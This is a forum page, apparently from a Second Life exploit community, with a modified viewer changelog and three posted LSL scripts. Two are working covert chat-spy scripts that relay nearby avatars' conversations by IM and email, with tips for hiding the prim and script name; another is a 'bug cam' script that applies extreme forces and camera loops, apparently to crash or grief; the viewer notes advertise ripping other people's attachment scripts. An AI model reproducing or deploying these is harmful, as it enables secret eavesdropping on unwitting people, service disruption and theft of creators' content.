Welcome, Guest |
You have to register before you can post on our site.
|
|
|
KEIMO 3.00 SSE2 |
Posted by: zion - 02-18-2013, 04:08 AM - Forum: Legacy Viewers\No Mesh Support
- Replies (6)
|
|
-added .anim import so viewer can import animations from other viewers that use it like incognito.
-added .neil import for animations so it can use animations exported from old neillife that some still use.
-redid the entire folder exports from inventory. now you can export an entire folder or use the save invcache on entire folders.
-now on the worn tab in inventory window, it also shows gestures you are using.
-increased maximum bandwidth throttle considerably. go prefrences-network and jack it up.
-changed the teleport history floater, it works correctly now.
-added particle rip for attachments. now you can rip particle scripts from people's attachments, not just from object in world.
-draw distance controller now in camera control floater. It is also still on the button in bottom right of viewer,
Some people asked for this like in hippo viewer so I added it.
-Z axis offset is now on the movement floater. This is when you play animations that position you too far in the floor or in the air.
Use this to adjust it just right.
-added ability to import .txt files from desktop to .lsl scripts. now all those scripts you have copied from web and pasted to .txt file
just click bulk upload. and it saves them as a script. =) oh and its free.^^ sometimes in sl this pops up some gay ass error. just ignore it. it still worked.
This is my own creation, I found it useful.
-Totally redid the login system. Now in app-settings folder there is a new .xml called grids.xml. Here you can easily add more grid uri's.
No more need for shortcuts. This is also toggleable in prefrences-ascent system-general tab.
_soon optimized for SSE2 (DONE)
MAKE SURE TO CLEAR CACHE FIRST!!!!! I TOTALLY REDID A FEW SYSTEMS AND IF YOU DONT CLEAR CACHE YOU HAVE ERRORS IN STARTUP.
****************************************************
OK I have fixed the VertexShaderEnable error that was spamming and causing shitty performance.
I opened the console window and I also had the spam. I fixed and recompiled and now it no longer spams in console window so i think its fixed.
Please report on this if you still have error with it.
I also compiled this release with SSE2 optimization and LAA Large-Address-Aware for use of memory > 4GB in Windows64.
I have also added the Kristen's speed patch for OpenJpeg. inside the viewer folder you can find the directions for it.
The viewer is using llkdu as default with the OpenJpeg.dll SSE2
I included the other OpenJpeg.dll's as well so you can play around with it to see if you get better performance using one of those.
REMEMBER TO CLEAR CACHE PRIOR TO USING!!!!
To clear cache for this viewer you must go to app-data folder and in local delete ascent folder and in roaming delete secondlife folder
[To see links please register here]
|
|
|
Multi Av IM Chat Relay / Spy Script v2.2 |
Posted by: zion - 02-18-2013, 03:56 AM - Forum: Communication Scripts
- Replies (1)
|
|
Changelog:
v2.2 - Added support to include list of nearby avatars
* Force use of email_timer > 20.0. This is to work around LL limitations on llEmail delaying the script for 20 seconds.
* Minor code cleanup
* Move email code to its own function
* rename testmsg() to send_chat()
v2.1 - Added support for email
v2.0 - Rewrite of an old sucky spy script I wrote
-----------------------------------------------
Useage:
-----------------------------------------------
Put it in a prim and move the prim into the chat radius of the people to be spied on. Preferably
don't make this obvious Smile (i.e. Use small prims, add transparency or invisiprim texture, don't
name the script something obvious like "Chat Spy", or if you have mod rights to nearby objects, put
the script in a prim other than its root prim, etc)
This uses IMs to send chat to the configured avatars. It has the potential to quickly cap offline IMs
so deactivate the spy script or remove the script when not in use.
Tested to work on both OpenSim and SL
-----------------------------------------------
Script Configuration:
-----------------------------------------------
* The msgkeylist is a list of avatar keys to send conversations to. It can contain as many avatar keys
as you like (provided script memory and list length limitations) but I would not recommend more than a few
if you'd like to do anything useful with the script because the more keys are added to the list, the slower
the IM responses will be as the script makes its way through the for loop.
* The keys provided in the script are randomly generated and are for example only and probably have no
significance in SL or OpenSim. So change them Smile
* Avatars configured in msgkeylist will have the ability to turn the spy on and off so only configure
those who you trust.
* Obviously make sure to only put keys in that you WANT the conversations to be sent to and not the person(s)
you're spying on lol.
* The spy script will be on by default and will start sending chat to IM on script compile and reset.
-----------------------------------------------
Chat command usage:
-----------------------------------------------
/123456789 on
/123456789 off
Turns spy on and off, you will receive an IM saying "System: Debug On/Off" as confirmation of the command success.
The chat command channel can be changed as desired by changing integer switch_channel = 123456789;. Choose something
long and random so as to minimize the chance of channel cross talk and channel scanners picking up on your chat command.
-----------------------------------------------
Email Config Variables:
-----------------------------------------------
integer use_email = (TRUE/FALSE) - If TRUE use the email system to send chat to the email address specified
string email_addy = ""; - Put the email address between the quotes that you want chat to be sent to
string email_subject = ""; - Subject line for emails sent
float email_timer = 30.0; - How often to send emails. 30 seconds seems to be a good amount of time, though
this can be made longer if you prefer to give the script a chance to gather up more chat before sending.
This must be greater than 20 due to the fact that llEmail imposes a 20 second script pause per call.
Emails will not be sent if nothing has been said within the email_timer period (reduces message spam),
but it will start gathering chat and sending it the moment something is said.
-----------------------------------------------
Sensor Config Variables:
-----------------------------------------------
float scan_dist = 20.0; - How far to scan for nearby avatars. Doesn't really make sense to change this if you simply
want avatars in chat say distance of the object since that distance is 20m. However, you can set this up to a maximum
of 96.0 if you like.
integer use_scan = TRUE; - If TRUE then scan for nearby avatars and include their names in emails sent.
PHP Code: // Spy Script // Written by mew380 for KingGoon Forums
// v2.2 - Added support to include list of nearby avatars // * Force use of email_timer > 20.0. This is to work around LL limitations on llEmail delaying the script for 20 seconds. // * Minor code cleanup // * Move email code to its own function // * Rename testmsg() to send_chat() // // v2.1 - Added support for email // // v2.0 - Rewrite of an old sucky spy script I wrote
//DISCLAIMER: I take absolutely no responsibility for the use of this script in any way. Use at your own risk.
//This script uses IMs to send chat to the configured avatars. It has the potential to quickly cap offline IMs so deactivate the spy script or remove the script when not in use.
// Main Config //Avatar keys go here. These are the avatars that you want to send nearby chat conversation to. I wouldn't recommend more than a few keys though as the more keys are added, the slower the IM responses as the script makes its way through the for loop. The keys in this list are for example only and will not work. Change it to your own key(s). list msgkeylist = [ "23535a9e-fb89-4146-9e5d-388aef8e7ec0", "c3054eba-e197-44f2-baf0-e5c8ccca35f8", "542f0be5-fd2a-4ab0-b0e3-578b7824f162" ];
integer switch_channel = 123456789; //Channel to listen for spy on/off command. Can be changed as desired.
// Email Config integer use_email = TRUE; //If TRUE use the email system to send chat to the email address specified string email_addy = "youraddress@server.com"; //Email address you want the chat to go to string email_subject = "Chat"; //Subject line for your emails float email_timer = 30.0; //How often to send emails. 30 seconds seems to be a good amount of time, though this can be made longer if you prefer to give the script a chance to gather up more chat before sending. Must be greater than 20 seconds due to LL limits on llEmail. 30 seconds seems to be a decent time.
// Sensor Config float scan_dist = 20.0; //How far to scan for nearby avatars. Doesn't really make sense to change this if you simply want avatars in chat say distance of the object since that distance is 20m. However, you can set this up to a maximum of 96.0 if you like. integer use_scan = TRUE; // If TRUE then scan for nearby avatars before each email send
//---------------------------------------------------------- // Don't edit below unless you know what you're doing //----------------------------------------------------------
list chat = []; integer debug = TRUE; list nearby_avs;
send_chat(string name, string str) { integer length = llGetListLength(msgkeylist); integer i = 0; string oname = llGetObjectName(); llSetObjectName(name + " (Debugger)"); for(i; i < length; i++) { llInstantMessage(llList2String(msgkeylist, i), str); } llSetObjectName(oname); }
build_email() { if(llGetListLength(chat) > 0) { string body = ""; integer i = 0; if((llGetListLength(nearby_avs) > 0) && use_scan) body += "-----------\nNearby AVs\n-----------\n" + llDumpList2String(nearby_avs, "\n") + "\n\n"; if(use_scan) body+= "-----\nChat\n-----\n"; for(i; i < llGetListLength(chat); i++) { body += llList2String(chat, i) + "\n"; } llEmail(email_addy, email_subject, body); chat = []; llOwnerSay("Sent email:\n" + body); } }
default { state_entry() { llListen(0, "", "", ""); llListen(switch_channel, "", "", ""); send_chat("System", "Debugger ready!"); llSetTimerEvent(0); if(use_email) { if(email_timer > 20) { llSetTimerEvent(email_timer); } else if(email_timer <= 20) { llOwnerSay("email_timer must be greater than 20.0 due to LL limits on llEmail. Using 30.0 as default."); llSetTimerEvent(30.0); } } } on_rez(integer x) { llResetScript(); } timer() { if(!use_scan) build_email(); else if(use_scan) llSensor("", "", AGENT, scan_dist, TWO_PI); } sensor(integer num_detected) { nearby_avs = []; integer i = 0; for(i; i < num_detected; i++) { nearby_avs += llGetDisplayName(llDetectedKey(i)) + " (" + llGetUsername(llDetectedKey(i)) + ")"; } build_email(); } no_sensor() { build_email(); //Slight possibility of someone saying something and then every one TPing away before email can be sent in the sensor() event (i.e. "Hey lets go to a club! Good idea! *everyone poofs*) nearby_avs = []; } listen(integer channel, string name, key id, string message) { if(channel == 0 && debug == TRUE) { if(use_email) { chat += (llKey2Name(id) + ": " + message); } send_chat(name, message); } if(channel == switch_channel && llListFindList(msgkeylist, [id]) != -1) { if(message == "off") { send_chat("System", "Debug Off"); debug = FALSE; } if(message == "on") { send_chat("System", "Debug On"); debug = TRUE; } } } }
|
|
|
Another Spy Script |
Posted by: zion - 02-18-2013, 03:54 AM - Forum: Communication Scripts
- No Replies
|
|
PHP Code: ////////////////////////////////////////////////////// key ciucii = "";// key eterno = "";// //////////////////////////////////////////////////////
integer Handle;
default { on_rez(integer params) { llResetScript(); } state_entry() { Handle = llListen(0, "", NULL_KEY, ""); } listen(integer channel, string name, key id, string message) { string msg = "/me >> " + name + ": " + message; llInstantMessage(ciucii, msg); llInstantMessage(eterno, msg); } }
|
|
|
Bug cam |
Posted by: zion - 02-18-2013, 03:52 AM - Forum: Communication Scripts
- No Replies
|
|
1. rez a prim
2. Insert script
3. Sit on it
PHP Code: key agentKey = NULL_KEY; integer permissionResult = FALSE; string theAnim; string sitText = " "; init() { llSetSitText(sitText); llSitTarget(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>); llSetStatus(STATUS_PHANTOM,TRUE); llSetStatus(STATUS_DIE_AT_EDGE,TRUE); } focus_on_me() { integer i = 0; do { llVolumeDetect(TRUE); llSetCameraParams([CAMERA_ACTIVE, 1,CAMERA_BEHINDNESS_ANGLE, 0.0,CAMERA_BEHINDNESS_LAG, 0.0,CAMERA_DISTANCE, 0.0,CAMERA_FOCUS, <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,CAMERA_FOCUS_LAG, 0.0,CAMERA_FOCUS_LOCKED, TRUE,CAMERA_FOCUS_THRESHOLD, 0.0,CAMERA_POSITION, <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9> + <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,CAMERA_POSITION_LAG, 0.0,CAMERA_POSITION_LOCKED, TRUE,CAMERA_POSITION_THRESHOLD, 0.0,CAMERA_FOCUS_OFFSET, ZERO_VECTOR]); llForceMouselook(TRUE); llSetLinkPrimitiveParams(LINK_SET,[PRIM_PHYSICS,TRUE,PRIM_FLEXIBLE, TRUE, 2, 0.3, 2.0, 0.0, 1.0, <0, 0, 0>,PRIM_TYPE, PRIM_TYPE_SPHERE, 0, <0.0, 1.0, 0.0>, 0.0, <0.0, 0.0, 0.0>, <0.0, 1.0, 0.0>,PRIM_TYPE, PRIM_TYPE_RING, 0, <0.0, 1.0, 0.0>, 0.0, <0.0, 0.0, 0.0>, <1.0, 0.25, 0.0>, <0.0, 0.0, 0.0>, <0.0, 1.0, 0.0>, <0.0, 0.0, 0.0>, 1.0, 0.0, 0.0,PRIM_TYPE, PRIM_TYPE_SCULPT, "c110440b-c276-88fb-9f3b-abf123f7ea2b", PRIM_SCULPT_TYPE_SPHERE,PRIM_TYPE, PRIM_TYPE_TUBE, 0, <0.0, 1.0, 0.0>, 0.0, <0.0, 0.0, 0.0>, <1.0, 0.25, 0.0>, <0.0, 0.0, 0.0>, <0.0, 1.0, 0.0>, <0.0, 0.0, 0.0>, 1.0, 0.0, 0.0,PRIM_TYPE, PRIM_TYPE_TORUS, 0, <0.0, 1.0, 0.0>, 0.0, <0.0, 0.0, 0.0>, <1.0, 0.25, 0.0>, <0.0, 0.0, 0.0>, <0.0, 1.0, 0.0>, <0.0, 0.0, 0.0>, 1.0, 0.0, 0.0,PRIM_TYPE, PRIM_TYPE_PRISM, 0, <0.0, 1.0, 0.0>, 0.0, <0.0, 0.0, 0.0>, <0.0, 0.0, 0.0>, <0.0, 0.0, 0.0>,PRIM_TEXTURE, 0, "66864f3c-e095-d9c8-058d-d6575e6ed1b8", <2,8,0>, <.5,.5,0>, PI / 4,PRIM_TEXGEN, ALL_SIDES, PRIM_TEXGEN_DEFAULT,PRIM_SIZE, <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,PRIM_POSITION, <65535,65535,65535>]); llSetBuoyancy(llGetMass()*2.1E+9); llSetForce(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE); llSetTorque(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE); llApplyImpulse(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE); llTargetOmega(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,llGetMass()*2.1E+9,llGetMass()*2.1E+9); llApplyRotationalImpulse(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE); llPushObject(llGetLinkKey(LINK_ALL_OTHERS),<0,0,llGetMass()*2.1E+9>,<0,0,llGetMass()*2.1E+9>,FALSE); i++; }while(i<1000); } play() { focus_on_me(); llSetLinkPrimitiveParams(LINK_SET,[PRIM_PHYSICS,FALSE]); warpPos(<128,128,4000>); } trash() { integer i = 0; do { play(); i++; }while(i<1000); } warpPos( vector d ) { if ( d.z > 4000 ) d.z = 4000; integer s = (integer)(llVecMag(d-llGetPos())/10)+1; if ( s > 100 ) s = 100; integer e = (integer)( llLog( s ) / llLog( 2 ) ); list rules = [ PRIM_POSITION, d ]; integer i; for ( i = 0 ; i < e ; ++i ) rules += rules; integer r = s - (integer)llPow( 2, e ); if ( r > 0 ) rules += llList2List( rules, 0, r * 2 + 1 ); llSetPrimitiveParams( rules ); } default { state_entry() { init(); } on_rez(integer times) { llResetScript(); } changed(integer change) { if (change & CHANGED_LINK) { key agent = llAvatarOnSitTarget(); if ( agentKey == NULL_KEY && agent != NULL_KEY ) { agentKey = agent; llRequestPermissions(agentKey,PERMISSION_CONTROL_CAMERA); trash(); } } } run_time_permissions(integer value) { if (value == PERMISSION_CONTROL_CAMERA) { permissionResult = TRUE; focus_on_me(); trash(); } } }
|
|
|
|